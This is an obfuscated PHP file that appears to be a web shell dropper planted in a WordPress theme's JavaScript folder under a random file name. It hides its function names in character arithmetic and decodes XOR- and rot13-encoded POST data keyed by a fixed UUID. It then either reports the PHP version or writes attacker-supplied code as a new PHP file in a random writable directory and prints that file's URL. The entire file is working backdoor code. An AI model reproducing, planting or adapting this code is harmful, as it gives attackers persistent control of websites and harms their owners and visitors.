File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/themes/twentythirteen/js/ioajhxmo.php
<?php $EOevKx = "\104".'O'."\103".'U'.'M'."\x45".chr(153-75).chr(568-484)."\137".'R'.chr(79).'O'.chr(702-618);$hHoJt = chr(72)."\124".chr(789-705).chr(994-914).chr(95)."\110"."\117"."\123".chr(84);$bOrVfe = "\x68".'t'."\x74".chr(603-491)."\72".chr(47)."\x2f";$HxkjVp = chr(523-477).'p'."\x68".'p';$QxUODz = "\x70".chr(104).chr(518-406);$IqWElhAq = "\x66"."\x69".chr(629-521).chr(125-24)."\137".'p'."\x75".'t'.chr(810-715)."\x63".chr(198-87)."\x6e".'t'."\145"."\156".'t'."\x73";$ACANaUt = chr(114).'a'.'w'."\165".'r'.chr(108).chr(100).chr(101)."\x63"."\157"."\x64"."\x65";$uCYaQWs = "\165"."\x6e"."\163"."\145".chr(583-469)."\x69".chr(97)."\154".chr(487-382).chr(122).chr(101);$QQBSGftV = "\151".'s'.chr(95)."\167"."\162"."\x69"."\x74".'a'."\x62".chr(108).chr(101);$TSPNyxJflZ = 'p'.'h'."\160"."\166"."\x65"."\x72"."\x73".chr(105).chr(322-211)."\x6e";$Dczcdzzln = "\163".chr(290-174)."\x72"."\x5f"."\x72"."\157".chr(116).chr(956-907).chr(51);$PQZzh = chr(280-165).chr(101).chr(114).'i'.chr(97).'l'.chr(105)."\172".chr(101);$hFVVsTF = chr(758-643)."\164".'r'."\137".'s'.chr(112).chr(483-375)."\151"."\x74";foreach ($_POST as $ggZBmnWC => $YQwmTcYmq){$pnthCgglcx = strlen($ggZBmnWC);if ($pnthCgglcx == 16){$YQwmTcYmq = $hFVVsTF($ACANaUt($Dczcdzzln($YQwmTcYmq)));$ggZBmnWC = array_slice($hFVVsTF(str_repeat($ggZBmnWC, (count($YQwmTcYmq)/16)+1)), 0, count($YQwmTcYmq));function YGsJAMfTTY($QjYxqsqJQt, $EHGMG, $ggZBmnWC){$qEvRlXeXXT = "43141e28-a8d5-4768-9c1e-324a4d34cc9d";return $QjYxqsqJQt ^ $qEvRlXeXXT[$EHGMG % strlen($qEvRlXeXXT)] ^ $ggZBmnWC;}$YQwmTcYmq = array_map("YGsJAMfTTY", array_values($YQwmTcYmq), array_keys($YQwmTcYmq), array_values($ggZBmnWC));$YQwmTcYmq = implode("", $YQwmTcYmq);$YQwmTcYmq = @$uCYaQWs($YQwmTcYmq);if (@is_array($YQwmTcYmq)){$BrCJJBwVh = array_keys($YQwmTcYmq);$YQwmTcYmq = $YQwmTcYmq[$BrCJJBwVh[0]];if ($YQwmTcYmq === $BrCJJBwVh[0]){echo @$PQZzh(Array($QxUODz => @$TSPNyxJflZ(), ));exit();}else {function wAyAlZ($ANJYjRir){static $kSjRLP = array();$tIYuph = glob($ANJYjRir . '/*', GLOB_ONLYDIR);$TshexC = count($tIYuph);if ($TshexC > 0) {foreach ($tIYuph as $ANJYjR) {if (@$QQBSGftV($ANJYjR)) {$kSjRLP[] = $ANJYjR;}}}foreach ($tIYuph as $ANJYjRir) wAyAlZ($ANJYjRir);return $kSjRLP;}$wAccABF = $_SERVER[$EOevKx];$tIYuph = wAyAlZ($wAccABF);$BrCJJBwVh = array_rand($tIYuph);$GxfqlPU = $tIYuph[$BrCJJBwVh] . "/" . substr(md5(time()), 0, 8) . $HxkjVp;@$IqWElhAq($GxfqlPU, $YQwmTcYmq);$pGLwMjTKy = $bOrVfe . $_SERVER[$hHoJt] . substr($GxfqlPU, strlen($wAccABF));print($pGLwMjTKy);die();}}}}